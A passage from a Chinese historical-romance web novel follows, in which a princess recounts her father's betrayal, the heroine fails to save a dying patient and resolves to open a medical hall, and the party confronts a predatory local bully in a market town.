南宫凝似知道她心中所想一般,在她身旁的椅子上坐下,月色浅浅,淡淡地将两人的身影拉长。
良久,南宫凝似叹息一声,声音飘忽似夜风:“渺妹妹,这世间疾苦如海,我们所能做的,实在太少太少。”
江渺有些愕然地看向她。这些话,她又何尝不明白?可她骨子里来自另一个世界的灵魂,早已刻下事在人为的信条。她生于微末,向光而行,即便前路崎岖,亦未曾真正认命服输。只要尚存一丝可能,她便想试试。
百姓求医无门,看病艰难?那她便去做那个开门之人,去当那个施药之手。
一个念头,如同暗夜里的星火,在她心底悄然燃起。待到此间事了,她便开设医馆,为这些挣扎求存的人,留一处喘息之所,一线生机的指望。
只是……这巍巍皇权之下,波谲云诡的时局之中,真能容得下她去做这样的事吗?
万千思绪缠绕不去,她犹豫片刻,终究还是轻声问出了口:“凝姐姐,你说……陛下为何会如此痴迷于道法仙术呢?”
话音刚落,江渺便觉不妥。此等涉及皇家秘事,岂是她一个侯府养女该探问的?真是昏了头,口不择言。正暗自懊恼,刚想找补几句,却见南宫凝并未露出被冒犯的不悦之色。
只见她的眼光略微从江渺不安的面上扫过,又落在交错的手上,声音似有几分恍惚:“其实……我也不知道。我曾以为我了解父皇,实际上,我从未真正的了解过他……”
顿了顿,南宫凝仿佛像是下定了决心,缓缓道出了一个江渺从未听闻的故事。
十八年前,那时的
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今上南宫宇,还只是一位远离权力中心的闲散王爷,甚至连封地都在偏远的梁河。他与发妻夏侯清,少年夫妻,情意甚笃,琴瑟和鸣。他们育有一子一女,日子虽远离昌都繁华,却如同世外桃源般恬淡自在。
南宫凝一直记得,春日踏青,夏夜观星,秋日采菊,冬夜围炉……那些在梁河的每一天,父亲慈爱,母妃温柔,兄长呵护,而她如同被精心呵护在暖房中的娇蕊无忧无虑。
可,不知何时起,如今想来可能是很早开始,父王便早已不甘心只做一位位高却言轻的无权王爷了吧。
先帝年迈,龙体渐衰,膝下两位嫡出皇子为那张龙椅争斗得你死我活,最终一死一伤,整个大盛朝堂风云激荡,前景莫测。梁河王府突然来了一群南宫凝从未见过的人。
自那以后父王频繁外出,眉头时而深锁,时而舒展,与母妃私下交谈时,语气中多了些她听不懂的沉重与权衡。
只不过那时,南宫凝沉浸在自己的一方小世界,从未上心罢了。
再后来她懵懂地跟着家人来到了昌都。父王不再是梁河那个悠闲的王爷,他成了众人簇拥、奋力搏杀在夺嫡之路上的皇子。
为了那张至尊的龙椅,他先后迎娶了背后站着煊赫将门的梁氏女,以及富可敌国的苏家女儿苏婉柔。凭借这两股强大的助力,他最终如愿以偿,登临大宝。
南宫凝也随之从偏安一隅的王府郡主,一跃成为新朝最尊贵的公主。宫殿巍峨,锦衣玉食,享尽人间极致的荣光。
可也正是在这人生最耀眼的时刻,冰冷的真相猝然击碎她所有美好的记忆。原来早在梁河那些岁月静好的日子里,父皇便已与梁氏女暗通款曲,甚至早已育有一子,比她还要年长一岁。
那些她珍藏心底的温情时光,刹那间布满了裂痕,仿佛一场精心演绎的骗局。她尚在震惊与抗拒中难以自拔,她的母妃,那个将一生深情与信任都托付给丈夫的女子,所承受的打击更是毁灭性的。
什么琴瑟和鸣,什么相濡以沫,原来皆是泡影,用心构筑的幸福堡垒,地基竟是背叛与算计。
心灰意冷,郁结于心,一病不起,不久后便撒手人寰。
母妃去后,南宫凝便彻底沉寂下来。她谨遵母亲最后的叮嘱,深居简出,不再过问父皇与宫内任何纷争。
她曾以为父皇至少是疼爱她的,可如今看来,父皇最爱的大约只有他自己,以及那至高无上的权力。
昔日梁河的慈父,与如今龙椅上心思莫测的君王,究竟哪个才是真实?她已分辨不清。
她将自己活成了这冰冷无情的皇宫中的一道模糊影子。
后来,宫中传出父皇沉溺道法仙术,追求长生不老的传闻。她只是默然地听着,温情不再,真心难辨,难道不是因为这江山权柄得来不易,沾染了至亲的鲜血与背叛,他才更渴望握住永恒,向虚无缥缈的仙道寻求慰藉与解脱吗?
连她都如浮萍微末,更遑论那些远离权柄的世人。她能做什么?又做得了什么?即便做了,不也是镜花水月一场空么?
南宫凝低声轻语,字字皆是无奈。
41.谈心
江渺静静地听着,月光在她低垂的眼睫上投下淡淡的阴影。
她本无心探寻皇室秘辛,更不曾想,这位相识不久、身份尊贵的公主,竟会如此信任地向她袒露这般深埋心底的故事。
她微微侧首,目光落在身旁南宫凝朦胧的侧影上。
没有了平日端庄持重的仪态,冷冷清清的疏离,此刻的公主微微蜷着肩,望着虚空某处,身上笼罩着一层与年龄不符的孤寂。江渺心中忽地生出几分了然。
原来,这位看似高高在上、不染凡尘的三公主,内里也只是一个渴望父母全心呵护、却亲眼目睹温情碎裂、信念崩塌的寻常女子。那些传闻中的清冷孤高,或许并非本性,不过是一层用以自保的盔甲。
皇权之争,向来如此。连身处其中的天家子女都伤痕累累,那些渺小如尘埃的百姓,又当如何自处?
江渺的目光从南宫凝身上移开,落向她身后那些经过救治得以安歇的患者。开设医馆,为这些无依无靠之人留一线生机的念头,在她心中越发清晰坚定。
虽然未从南宫凝处探知今上痴迷道法的根本缘由,但这些时日的所见所闻,江渺已能确定,今上沉溺于术法,对具体朝政庶务并不上心,至少在律法层面,并无明确条文禁止民间行医、开设医馆。真正的阻力,在于那自上而下弥漫的重道轻医的风气,在于大家认知的偏离与资源的匮乏。
她忽然想起藏书阁那夜,南宫煜的承诺于她,如果她能够为他调理身体,他便帮助她实现愿望。如今,她想好了自己要做什么,只要南宫煜信守承诺,加之南宫凝或许也能成为助力,此事未必不可为。
心下稍定,江渺再次看向南宫凝,轻轻握住她微凉的手,轻声道:“凝姐姐,多谢你信我,肯将这些告知于我。往事已矣,我无从评说。但至少今夜……今夜,因为你伸出援手,许多人得以活命。”
南宫凝微微抬眸,对上江渺清澈而坚定的目光。
“凝姐姐,我们所能做的,或许在滔天大势面前微不足道,可是你看……”江渺伸手指向墙边呼吸已然平稳的农人,“他们来时奄奄一息,命悬一线。因为有人施以援手,他们此刻才能安睡于此。这改变的,是他们活生生的性命,是一个个家庭的顶梁柱。这些,都有凝姐姐的一份心力在。”
南宫凝眸光微颤,低语道:“做这些……谁会在意呢?父皇不会在意,朝堂不会在意,或许连我自己都曾觉得……无甚意义。”
“不,”江渺握紧她的手,声音坚定,“这位大哥会在意,那位大爷会在意,他们的父母妻儿会在意!今夜在这里的每一个人,都会在意!我们救下的每一条命,都有它的重量。”
南宫凝的心仿佛被什么东西轻轻撞了一下。她顺着江渺所指,目光缓缓流过那些沉睡的、或是正感激望着她们的朴素面孔。那些目光里没有宫廷的算计与冰冷,只有劫后余生的庆幸与最朴素的感激。
良久,一抹光亮,忽从天边破云而来,冲破她眼底沉积多年的暮霭。她轻轻吸了口气,喃喃道:“渺妹妹,你说得对……他们,是在意的。”
很久以来,她将自己困在十多年前梁河王府的旧梦里,用回忆的幻象包裹伤痕,以为时间可以停滞,离去的人终会归来,给她一个解释,还她一个圆满的故事。她躲在宫墙之内,逃避着早已物是人非的现实,也逃避着自己身为公主却未尽的责任。
江渺的话,一语惊醒梦中人。她身在其位而不谋其政,这样的行为又与沉溺仙道、不顾民生疾苦的父皇,有何本质区别?
复杂的情绪在脑海里翻腾,她突然想明白了自己应该怎么做,正转头要像江渺说些什么,身后不远处倏然传来一阵猛烈的咳嗽。
随即一个孩童的尖叫声响起:“爷爷……爷爷……您怎么了!”
江渺与南宫凝同时扭头望去,只见靠墙处一位原本歇息的老者,猛然喷\出一口暗红的鲜血,随即身体一软,从条凳上滑倒在地,不省人事。
“有刺客?!”云杉与琼枝瞬间闪至两人身旁,神色警惕地环视四周,手已按上兵刃。
江渺心中也是一紧,但迅速拉过南宫凝将其护在身后,凝神观察。片刻之间,并无异动,唯有那孩童的哭声揪心。她定了定神,示意两人无事,快步上前,蹲下身仔细检查老者。
面庞紫绀,颈脉怒张,呼吸极度困难伴有湿啰音,唇边血迹暗红夹杂泡沫……
看样子像是急性心衰合并肺气肿!
刚将人扶起准备扎针,老者口中又吐\出一口鲜血。江渺迅速改变治疗方法,托起老人的脖颈使其后仰,另一只手快速探向口鼻清理血迹,防止他呛血。
同时阿洛飞速拿来药箱,找到江渺吩咐地药丸,伸手正欲递给江渺,老者口中再次呕出大量鲜血。
一时间室内气氛骤然凝固,小女孩的哭声不绝于耳。江渺神情严肃,用尽方法想要留住这条生命,可是奈何病情急转而下没有现代的强心药物,没有呼吸辅助设备,没有即刻可用的急救条件……即便她使出了浑身解数,也无力回天。
只能眼睁睁地看着一条生命在自己的手中溜走……
小女孩挣脱旁人的阻拦,扑到爷爷渐渐冰凉的身体旁,哭声凄厉,又转而抓住江渺染血的衣袖,仰着泪痕斑驳的小脸,哀哀祈求:“姐姐,求求你,再救救爷爷……求求你……”
江渺缓缓放下老人家的尸体,有些发愣地看向染满了鲜血的双手。
她记得午后,这位身形单薄、骨瘦如柴却精神矍铄的老人,抱着他发烧的小孙女来到这里,眼中满是恳求。他不仅耐心照顾自己的孙女,还在江渺忙得不可开交时,默默帮着分发汤药,安抚其他病患。
转眼之间,那曾忙前忙后的温热身躯,已成一具无声无息的尸体,静静地躺在冰冷的地面上,身下暗红的血迹触目惊心。
那些曾被他帮忙照料过的乡邻们,难以置信地望着地上的血迹与不再动弹的老人,有人别过脸去低声啜泣,有人茫然无措地搓着手,试图说服自己这并非真实。
南宫凝深吸一口气,压下心头涌起的悲悯,上前轻轻拉起哭得几乎脱力的小女孩,侧头示意琼枝,琼枝会意,小心地将她去往隔壁安静的房间照料。
护卫有条不紊地将现场收拾好,天边已经露出了鱼肚白。
南宫凝扶江渺去清洗双手,眼见江渺还有些怔愣,轻声询问道:“渺妹妹,你没事吧?”
清水流过光洁的手臂,红色的血水蜿蜒而去,就在南宫凝以为江渺不会说话的时候,却听她轻轻开口,沉沉问道:“姐姐,如果,我说如果……如果可以,你愿意和我一起建立一个学医的医馆吗?”
医馆?
南宫凝微微一怔,很快回神过来,女子开医馆何事听闻过,况且这个世道,真的能开起来吗?
怔愣间,江渺恍若醒悟一般,抬手拉住南宫凝的胳膊,带着些许凉意让南宫凝身形一颤。
“凝姐姐,或许你觉得我是异想天开,痴人说梦话。但是我真的不想看着这些无辜的人无辜的丧命。明知可为而不为,枉自为人!”
像是被江渺的话触动,南宫凝颔首,目光也如她一般坚定起来:“妹妹说的对,如果你有想法,你就去做。姐姐一定会支持你的。”
如果有南宫凝的帮忙,以她的身份和势力,也许事情会简单的多。江渺很感激南宫凝,正要道谢,听闻身后传来一阵马蹄声,侧目看过去,南宫煜正勒马翻身下来。
“殿下。”江渺依礼问安。
南宫煜大步走过来,抬手让她起来,目光却落在她衣袖夺目的血渍上,瞳孔猛地一缩,周身空气骤然一冷。
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“受伤了?”他语气冷冷,南宫凝却听出几分担心来。不由地先开口解释道:“五弟不要担忧,这并非渺妹妹的血。”
担忧?南宫凝一言仿佛在他心头刺了一下,明知道江渺有那么多人保护,应该不会有事,但是看到她胳膊上的血渍,心头又莫名紧张,连他都搞不清楚是什么原因。
她要是受伤医不了自己了可不就糟糕了吗?南宫煜一想,豁然开朗,语气也松快了几分:“出什么事了?”
南宫凝将昨夜发生的事情一一道来,却刻意隐瞒了两个人之间的谈话。
南宫煜听完没说什么,挥手招来几个小厮,他们身上扛着一袋东西。
几人将包袱放下,又依次打开,江渺低头看过去,不免心头微动。
包袱里,正是她此前所列的紧缺药材与物资,数量远超所需,甚至有几味她只抱侥幸提及的珍稀药材也赫然在列。即便她在昌都要风得风要雨得雨,也不见得能够筹措到这么多东西。不用想也知道南宫煜定是为她下了些功夫。
【这人真是面冷心热。】
【嘴上冷冰冰,做事倒还细心周全。】
【不行不行!江渺你别忘了他出卖你这事,一点小恩小惠就把你收买了!】
南宫煜目光似有若无地掠过她低垂的眉眼,江渺按住脑中撕扯的小人,即刻敛神垂首道谢:“多谢殿下周全。”
“嗯。”南宫煜淡淡应了一声,停顿片刻,又道,“既已尽力,便无需过于苛责己身。”
江渺怔了怔,才意识到他是在宽慰自己关于老者之事,心下泛起一丝复杂暖意,点头不再多言。
晨光渐盛,暑气再度蒸腾。江渺并未沉湎于伤感,她深知预防更胜于救治。与南宫凝、南宫煜商议后,她决定趁乡民聚集,将现代的医学知识,用浅显易懂的方式,系统宣讲防暑防病之策,从识别中暑征兆到简易急救,再到平日劳作起居的注意事项。
“这法子听着在理!”
“多谢姑娘,真是活菩萨!”
乡民们听完宣讲,感激不尽,纷纷表示要记下传开。
日头高升时,宣讲刚刚进行到一半,南宫煜在南宫凝的催促下为江渺带来些吃食,一抬头,便看见那高大的槐花树下,绿荫成片,阳光被树叶剪碎,斑驳的洒在热情为乡民们普及知识的少女脸上,他深邃的眸光在她难掩倦色却依旧清亮的眼睛上停顿了一瞬。
“既然要教,”他快步走近,忽然开口,“不如做得更周全些。” 他示意三千将随车携带的一些备用清凉药材分出一部分,又让识字的侍卫将江渺所述要点简单誊抄几份。“沿路村镇,可酌情分发讲解。”
江渺有些意外地看向他。
听南宫凝说南宫煜手上正在负责一起大案子,这几日她见他也是早出晚归,繁忙不已。现下他却为了她的私事抽出一部分人力来帮忙,江渺心里一时间多了几分复杂的情绪。
正欲道谢,南宫煜却做无事般摆摆手,示意江渺继续宣讲,又将食盒在旁放下,吩咐三千看好,自己则转身离开。
往后几日,江渺和南宫凝共同协作照顾前来看病的患者,空闲时又一起外出去宣讲健康知识。
有着大家的努力,病患数日渐减少,中暑之事虽有发生,但也比先前好了许多。乡民们对两人感激不尽,尤其是听闻两人再有一日就要离开杏花村,更是依依不舍,泪流满面。
暮色四合。
江渺正欲安置,忽闻一阵窸窸窣窣的声音,再隐隐看着门边黑影闪过,心下顿时警铃大作!
自从上次遇刺后,南宫煜增加了护卫她们的人手,人都跑进来了,护卫却没有动静,想来应该不是杀手,可这夜深人静,又是何人在门前徘徊。
想了想江渺悄悄摸上了放在桌边防身的棒杵,悄无声息地摸向门边……
42.江安
晨光熹微,江渺正将最后几卷药册收进行囊,忽听门外有细碎迟疑的脚步声来回踱着。
自从上次遇刺后,南宫煜增派了人手在身边保护她们,如果有刺客,此刻怕是已经发作,但是仔细侧耳倾听却未听见别的声响,既然不是刺客,那便有可能是小偷。
她心念微微一动,悄然握起门边一根抵门的木杵,屏息凝神靠近。
待那脚步声行至门前、似是弯腰欲捡何物的一刹,她猛地拉开门扉,手中木杵作势欲挥,却与门外一双受惊抬起、泪光点点的眸子撞个正着。
电光石火间,江渺硬生生收住势头,急退半步,肩背却砰地撞上半开的门板,痛得她轻嘶一声。
“阿圆?怎么是你?”她放下木杵,揉着胳膊,诧异地望着眼前扎着双丫髻、满脸惶然的小姑娘。
阿圆显然被方才那阵仗吓得不轻,手中刚拾起的油纸包啪嗒又落在地上,纸包散开,露出里面几颗粗糙却裹得仔细的饴糖。
她小嘴一扁,眼圈更红,声音细若蚊蚋:“姐、姐姐……你们要走了……我,我想请你吃糖……”说着说着,眼泪如断线珠子般滚落,模样真是令人心生怜爱。
这被唤作阿圆的小姑娘,不是别人,正是那日骤逝老翁的孤孙女。
江渺心头一软,蹲下身,轻轻抚了抚阿圆枯黄的头发,拾起一颗糖,温言道:“谢谢阿圆。你的身子已经差不多好了,为何还没有家去呢?况且这小巷深远,你这样跑出来,遇到危险怎么办呢?”
这话是江渺真心实意的关心,可仿佛触动了她的伤心处,阿圆嘴角向下弯了又弯,终究没忍住,哇地哭出声来,抽抽噎噎道:“姐姐……阿圆、阿圆没有家了……爷爷走了……呜呜呜……”
江渺心头一紧,揽过阿圆抱在怀里,细问之下才知,阿圆父母早亡,与祖父相依为命,如今祖父一去,她便真成了无根浮萍。
那日南宫凝手下的人将阿圆祖父埋葬后便将阿圆送回了家中,可是她一介孤女又是个孩子在家中哭泣了几日勉强照顾自己,听闻江渺一行人要离开,偷偷拿出自己攒了许久的铜钱,买了糖饴,天不亮便出发,磕磕绊绊才找到了江渺所居之地。
看着那张带着些许泥土的稚嫩脸上,那满是依赖与无助眼神,江渺顿觉喉间微微发涩。那种天地间孑然一身的茫然与艰难困苦,她实在太懂了。
柔声安抚好阿圆,江渺思忖片刻,转身叩响了南宫凝的房门。
她此行南下,打着的是清修的旗号,又有张真人不可惊扰之言在先。南宫凝与她同行是得了今上的应允,但是难保不会有别有用心之人在暗处盯着。
这一路幸得南宫煜一路保护,她们才能平安前行。若是将阿圆带在身边,既容易暴露隐藏,又恐怕会将这无辜的孩子卷入未知的险境。
略述缘由后,南宫凝未有丝毫犹豫,当即唤来琼枝,仔细吩咐下去。
琼枝依言点头,那日便是她照顾的阿圆,这孩子听话懂事,颇受大家的喜欢,琼枝自然高兴,上前牵起阿圆小手,温声道:“好孩子,走吧,小姐自会为你寻一处安稳妥当的所在。”阿圆怯怯回头望了江渺一眼,见江渺微笑颔首,才一步一回头地跟着去了。
安置好阿圆,江渺心下稍宽。南宫凝又取出一卷素笺,上面以清秀小楷誊写着数行口诀,这几日病患渐少,左右闲着也是无事,而江渺又不擅长笔墨,她便代笔将她说的内容依字记录下来,再根据内容精心编缀成的俚俗歌谣。
有时她不太懂江渺有些话的含义,虚心求教,江渺便耐心为她讲解。
偶尔会发现江渺用词会有一些生涩难懂,她铺开素笺指着其中一处,温声道:“渺妹妹你看,这句盐糖入水补咸津,于医理固然通透,然而乡野百姓恐怕难以理解咸津为何物。不若改为汗出多时盐糖添,好比庄稼浇水田,是否更易传诵?”
江渺凝神细看,不由叹服。自己左思右想才想出那么几句词,总以为已经足够通俗易懂,却经过南宫凝这么一改,更加直白易记。
南宫凝才思敏捷,聪慧过人,更难得的是这份体察入微的仁心。两人就着烛火,逐字推敲编写,不觉夜渐深沉。
次日清晨,江渺与阿洛早早收拾停当,出了客栈,南宫凝还比她们先一步已经在马车上等待,见人来齐,南宫凝便吩咐侍卫赶路,江渺却发现往日在前面策马前行的南宫煜一直没有出现。
南宫煜话并不多,常常把自己关在房间里忙着政务,江渺不敢多问,眼神却不自觉地朝客栈方向来回张望。
南宫凝见她有些魂不守舍的样子,笑着打趣道:“五弟昨夜接到急报,已经先行赶往下一处驿镇安排。别看啦,眼睛看出花来也看不到人啦!”
同行的琼枝和阿洛低笑出声,江渺耳朵蓦地红了,伸直脖子辩解道:“凝姐姐胡说什么?我就是看看风景,谁看他了!”
南宫凝强忍着笑,低低应和道:“是我是我在想五弟的事情,和妹妹没关系呢……”她故意拉长尾音,引得阿洛捂嘴憋笑。
江渺伸手拿过旁边的团扇拍在阿洛手上,眼神示意她不准笑,又怒目看向琼枝:“倒是你,阿圆的事情可安排好了?”
琼枝心里明白江渺被打趣后不好拿南宫凝发作,只能岔开话题问她,她也止住笑,颔首道:“阿圆的父母虽然没有在了,我们寻到了她的伯父婶母,又给了足够的银钱安置阿圆,想来是无虞。”
这样挺好,有家人照拂应该没事了,江渺点点头,正要谢南宫凝帮忙周全,马车却骤然停住,几人身形一晃,齐齐向门帘看去。
“出什么事了?”阿洛向车外询问道。
“回小姐,前方聚集了许多乡民。”侍卫躬身禀报,江渺疑惑地掀开车帘,霎时怔住……
晨露未晞。车马辘辘,谈话间已然行至杏花村村口。
在那村口道旁,黑压压站满了送行的乡民。他们衣衫简朴,面庞黝黑,手中或提着半篮尚带露水的瓜菜,或捧着温热的粗陶碗盏,默默立于道旁。
见车马停下,一位被众人推搡上前的老妪,颤巍巍捧出一碗尚冒热气的黍米粥,声音哽咽:“姑娘……没什么好东西…
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…路上垫垫肚子……”
紧接着,更多的人围拢上来,将手中之物,几个煮熟的鸡蛋,一包晒干的枣子,甚至一把新摘的野花,不由分说地塞到车辕边、侍卫手中。
他们口中并没有华丽的辞藻,只有一遍遍重复的多谢救命之恩、一路平安。
人群里,江渺看到了昨日那位中暑最重,被她从鬼门关拉回的汉子,他搀扶着脸色仍显苍白的妻子,深深鞠躬,又看到了那几个曾帮她分药的孩子,躲在大人身后,偷偷朝她挥手。
晨光微洒,将乡民质朴的脸映照出一圈光晕,看得江渺喉头哽咽,她不过做了一件自己力所能及之事,又怎么担得起这么多人沉重的心意。
南宫凝轻轻握住她的手,微微颔首。江渺会意,下车与众人道别,几番推让,才收下些干果野花。车马再次启动时,许多乡民跟着走了好一段路,直至身影模糊在晨雾里。
一路南行,天气愈发潮热。几日后,一行人抵达了江安镇。
这镇子依山傍水,又是连接南北两地的重要枢纽,许多买卖都在此处交易,远远要比杏花村繁华许多,青石板路两旁店铺林立,酒旗招展。但因着正是午后,烈日炎炎,街上往来行人却不多。
众人按照南宫煜提前送来的消息安排,入住了街尾的一家并不起眼的客栈。又稍作休息后,南宫凝来找江渺讨教关于清心露的配方问题。
这几日在马车上,南宫凝除了执卷读书,就是看着江渺鼓捣各种各样的药材,闻着香气十足的醒神丸,竟然萌生了学习的想法。
制作香丸并不比制药简单,每一味香料的配比,添加时间等都十分有讲究,虽然南宫凝聪慧,但是毕竟是新手,江渺想了想决定先教她较为简单的清心露的配比。
左右不过两日,南宫凝便自己能根据暑气去调节用药多少,江渺都不由叹服,能当天子的人脑子肯定好使,生的娃都学什么会什么,做什么像什么。
想当年,她跟着师父学习配药,用了一个星期才能分辨草药,区分香味,就这速度都被师父感叹为难得一见,现在想来莫不是被师父唬了?
说起来……师父得知自己的死讯会不会很伤心难过。好不容易找到人继承衣钵,她却死于非命。
不过,她死之前已经做到了将师父传授给她的知识发扬光大,又研制出了那么多救人于危难的药物,想来那个怪老头应该也不会怪自己吧……
心思百转千回,江渺怔愣的神情落在南宫凝的眼中,以为是连日赶路还有教自己学习将其累着了,心头不由生出几分愧疚来,转念想到南宫煜说提前排查过江安镇,没有发现危险,于是提议带着琼枝阿洛等人一起去附近逛逛,放松心情。
江渺在路上便听说江安镇是南北贸易的重要路段,开集市时街头会有许多稀奇珍宝,心头早就打算有机会去市场转转。南宫煜身上的毒,江渺已经猜出七八分,解药也在有条不紊的配制中,但是其中有几味比较珍奇的药,她已然打听许久,却没有眉目。
几人略作收拾,带上两名侍卫,相携朝市集走去。
43.李晴
长街熙攘,据店家说傍晚的集市最是热闹,江渺和南宫凝为了不引人注目,特地选了一个人少的时间。此时因暑热整个长街稍显得有些冷清,但两侧摊贩陈列的货物却琳琅满目。
入眼便是南方的丝绸、蛮荒的皮毛、海外舶来的琉璃器皿、还有各色药材香料,混杂着几人讨价还价的市井声,别有一番鲜活气象。
江渺留心药材摊子,南宫凝则对一处售卖古籍拓片的摊位颇感兴趣。正翻阅时,忽听前方一阵骚动,夹杂着女子的惊呼与男子的喝骂。
几人循声望去,只见一个胭脂摊前,一名身着锦袍、满脸横肉的胖子,正带着几个家丁模样的汉子,围住一名卖胭脂的姑娘。那姑娘荆钗布裙,却生得极为清丽,一双秋水眸含惊带怯,更显楚楚动人。
“欠债还钱,天经地义!你爹死了,这债自然落到你头上!”胖子脸上肥肉横飞,兀自笑着,伸手去勾姑娘下巴,嘴上轻佻:“若还不上……跟了爷,这笔账便一笔勾销,如何?”
姑娘吓得连连后退,撞翻了胭脂摊,色彩斑斓的脂粉撒了一地。“刘爷,求您宽限几日……我、我一定想办法……”她被逼着靠在架子上,无路可退,声音已是带了哭腔。
周遭行人纷纷侧目,却无人敢上前。
江渺眉头紧蹙,侧目瞥向云杉。云杉会意,悄无声息自路边拾起一枚石子,腕劲微使,石子便破空而去,正中那胖子额头!
“哎呦!”胖子痛呼一声,捂着瞬间青紫的额角,踉跄退了两步,跌进身后家丁怀里。
“谁?!是哪个杀千刀的!”他瞪着地上滚动的石子,暴跳如雷,在街心怒骂,“给爷滚出来!”
半晌无人应答,只觉四周目光似有若无地聚拢,仿佛都在暗中讥笑。胖子怒更是怒火中烧,唰地抽出近旁家丁腰间佩剑,目光来回在人群中逡巡,最终锁定了角落里一个正在玩石子的孩童。
“小杂种,是不是你?!”他提剑逼近,人群看着剑光突闪,顿时惊惶四散。
那孩子何曾见过这般阵仗,手中石子噼里啪啦落地,哇地一声吓哭了。一名老妇听闻动静拨开人群冲出来,见状魂飞魄散,也不管是非对错,扑通一声跪倒连连磕头:“爷!刘爷!孩子不懂事,求您高抬贵手!”
胖子哪肯理会?
额上伤口阵阵抽痛,他虽心知一个稚童绝无那般手劲,但这口恶气不出,他刘二爷今后还如何在这江安镇立足?他的面子往哪里搁?今日势必要杀鸡儆猴!让这些个刁民看看不敢再犯!
他狞笑着示意,一旁的家丁粗暴地掀开老妇,手中剑锋一转,竟朝孩子细嫩的手腕削去!
千钧一发之际,又突闻啪地一声脆响!刘二惨嚎着捂住手腕,佩剑“哐当”落地。他疼得龇牙咧嘴,眼中凶光却更盛,竟一把将那吓呆了的孩子拽到身前,五指如铁钳般牢牢扣住了孩子纤细的脖颈!
“到底是谁?!给爷滚出来!否则老子现在就掐死这小崽子!”
可恶!竟拿无辜稚子作要挟!江渺本不想暴露行踪,又不忍看弱女被欺凌,这才示意云杉隐秘行事。
可眼见此人毫无底线,心知今日若不站出来,此事怕是难以善了,不免怒火骤起。不及细想,一步踏出人群,清喝声如玉磬击冰:“光天化日,欺凌弱女,胁迫幼童,江安镇的王法,莫非是你刘爷说了算?!”
胖子闻声一怔,见果真有人出头,随手将孩子往旁边一扔。云杉身形一动,快若闪电,掠上前稳稳接住孩子,交还那瘫软在地的老妇。
刘二眯起眼睛,上下打量江渺。见她荆钗布裙,衣着素净,却肌肤胜雪,眉目如画,尤其那双眸子秋水盈盈,直直的望着他,竟比那胭脂铺的小娘子更添几分难以言喻的灵气。心头邪火顿起,额上伤痛仿佛都不算什么了,脸上堆起油腻腻的谄笑:“哟……原来是个更标致的小娘子。”
他搓着手,目光粘腻地在江渺身上打转,“怎么,想替人出头?行啊,只要小娘子你肯点头,跟了爷回府,做爷的第五房姨娘,莫说这丫头的债,便是把这整条街的胭脂铺子买下来送你玩儿,爷也乐意!”
说着,竟伸出手想要摸江渺的脸。
“放肆!”南宫凝脸色一寒,便要上前。江渺却更快一步,反手轻轻握住南宫凝手腕,示意她切勿冲动暴露身份,自己则不着痕迹地侧身避开那肥胖的手掌,冷冷道:“刘爷好大的口气。只怕你府上的门槛,我还看不上。”
“哟呵?给脸不要脸?”刘二笑容一收,眼神阴鸷下来,“敬酒不吃吃罚酒?那就别怪爷不怜香惜玉了!来人,把这小娘子给我请回府去!爷要好好教教她规矩!”
几名膀大腰圆的家丁顿时狞笑着围拢上来。南宫凝身边的两名侍卫铿地拔刀,护在江渺与南宫凝身前,气氛瞬间剑拔弩张。
那群家丁平日只敢欺压弱小,何曾见过这等真正见过这等凛然的气势?当下便被镇住,面面相觑,竟无人敢再上前。
“都愣着做什么?上啊!”刘二见状恼怒不已,抬脚狠狠踹上近前一人的后臀。
那人踉跄扑来,云杉身形未动,只抬脚一踹,便将他踢得倒飞出去,重重跌在地上呻\吟不止。其余家丁见这女子身手如此利落,更是吓得手软脚颤,手中刀几乎握持不住。
“废物!都是废物!”刘二怒骂着,竟自己拔剑上前,剑尖直指江渺面门。可对上她那双清澈光亮、姑射仙人般不染尘俗的面容时,心头邪火与怒气竟莫名消散三分,语气不自觉地软了下来:“小娘子,爷劝你识相些。乖乖从了爷,今日冒犯之罪便一笔勾销,往后自有享不尽的富贵。不然……”
江渺嘴角一勾,眸中尽是讥诮,可真是好久没有见到这种又好\色又狂妄之人了,不由冷笑道:“不然如何?让我吃不了兜着走?还是……”她音量陡然抬高,“先打了你这条仗势欺人的恶狗,再走不迟?”
哄笑声顿起,这刘二在此行凶作恶已久,可因着他与县爷的关系,无人敢惹无人敢惹,何曾受过这般当众折辱?
一张胖脸顿时涨成猪肝色,羞愤交加之下,也顾不得自己那三脚猫功夫,挥剑便向江渺刺来!
左右侍卫冷哼一声,同时踏步上前。一人抬剑,一人出掌,只听哐当一声,刘二手中长剑脱飞出去,人也如同滚地西瓜般跌出丈余,摔得七荤八素。
“好!”众人压抑已久的喝彩声突响,街头巷尾都是大快人心的畅快\感。
刘二瘫在地上,愣了片刻,竟不爬起来,反而当街撒起泼来,污言秽语混杂着不堪入耳的淫词艳语张口就来。
南宫凝听着这些对江渺的侮辱之词,不由眉心紧蹙,面若寒
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霜。琼枝早已忍无可忍,大步上前,扬手便是一记清脆耳光!
“啪!”
世界骤然清净。
刘二捂着脸,半晌没回过神来,左右家丁这才慌忙上前搀扶。他怨毒地瞪了江渺等人一眼,终究不敢再放狠话,在一众鄙夷目光中,灰头土脸地被架着逃离了市集。
江渺拿出手帕为琼枝擦了擦手心,摸到这种人,没得叫人恶心。
阿洛扶起那惊魂未定的卖胭脂少女。几位心善的老妇围拢过来,低声劝道:“姑娘,看你们是外乡人,听老身一句,赶紧离开江安镇罢!那刘二……惹不得啊!”
细问之下,方才得知这刘二自去年来到江安镇后,便成了本地一霸。专挑年轻貌美的女子下手,或以债务相逼,或直接强掳。顺从的收为妾室,稍有不从便肆意凌\辱,玩腻后甚至赏给手下仆役。已有数名女子不堪受辱,含恨自尽。
更可恶的是,他连尸体也不放过,竟将别人烧成灰烬,放在家中收藏,可谓是变\态至极。
南宫凝听罢,怒不可遏。反问道:“这里的县官难道就坐视不理吗?”
卖胭脂的少女拂去泪水,低声讲述刘二是如何诓骗父亲,又如何设计让她还钱,末尾叹道:“他是县令的亲侄儿……我们普通百姓,告无可告,求告无门啊。”
天下竟有如此荒唐暴虐之事!南宫凝气血上涌,当即就要遣人去查办,却被江渺轻轻按住手臂。
南宫煜嘱咐过他们行事要低调,这人能够在江安镇这富庶之地为虎作伥,说明身后的依仗不小,怕不仅仅是县爷这么简单。如今招惹了这出事,恐怕后面还有更大的麻烦,还是等南宫煜回来商量后再做打算不迟。
南宫凝觉得江渺在理,只得暂时作罢。被这场大戏扰了雅兴,几人也没有了继续闲逛的心情,正欲回客栈,那少女却欲言又止,眼泪泫然欲滴,楚楚可怜地望着江渺。
恻隐之心顿起,她今日能解一时之困,可自己一旦离开,这姑娘恐怕难逃刘二变本加厉的报复。
